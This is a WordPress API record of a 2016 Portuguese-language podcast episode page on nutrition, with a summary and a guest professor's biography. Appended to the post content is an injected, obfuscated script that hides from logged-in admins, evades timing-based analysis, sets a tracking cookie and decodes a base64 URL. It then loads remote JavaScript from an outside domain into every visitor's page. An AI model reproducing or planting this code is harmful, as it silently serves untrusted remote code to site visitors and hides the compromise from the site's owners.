{"id":2563,"date":"2016-04-06T12:00:03","date_gmt":"2016-04-06T15:00:03","guid":{"rendered":"https:\/\/rockcomciencia.crp.ufv.br\/?p=2563"},"modified":"2025-10-15T21:12:22","modified_gmt":"2025-10-16T00:12:22","slug":"nutricao-s07e04","status":"publish","type":"post","link":"https:\/\/rockcomciencia.crp.ufv.br\/?p=2563","title":{"rendered":"Nutri\u00e7\u00e3o (S07E04)"},"content":{"rendered":"<p>Voc\u00ea sabe quais alimentos fazem realmente bem para a sa\u00fade? Normalmente uma dieta colorida supre a maioria de suas necessidades, caso voc\u00ea seja uma gestante, idoso ou tenha algum tipo de problema fisiol\u00f3gico voc\u00ea ter\u00e1 de obter nutrientes atrav\u00e9s de suplementos. Descubra muito mais sobre o que os alimentos provem e sobre as \u00e1reas de atua\u00e7\u00e3o de um nutricionista!<\/p>\n<p>Contamos com a participa\u00e7\u00e3o especial da professora e Doutora Martha Elisa Ferreira de Almeida, Possui gradua\u00e7\u00e3o em Nutri\u00e7\u00e3o pela Universidade Federal de Ouro Preto (2001), mestrado em Agroqu\u00edmica pela Universidade Federal de Vi\u00e7osa (2003) e doutorado em Agroqu\u00edmica e Agrobioqu\u00edmica pela Universidade Federal de Lavras (2012). Desde 2008 \u00e9 professora efetiva da Universidade Federal de Vi\u00e7osa, Campus de Rio Parana\u00edba. Tem experi\u00eancia na \u00e1rea de Nutri\u00e7\u00e3o, com \u00eanfase em Nutri\u00e7\u00e3o B\u00e1sica.<\/p>\n<p style=\"text-align: left;\">Participantes: Larissa Fernades, Martha Almeida e\u00a0Matheus Lunardi.<br \/>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Voc\u00ea sabe quais alimentos fazem realmente bem para a sa\u00fade? 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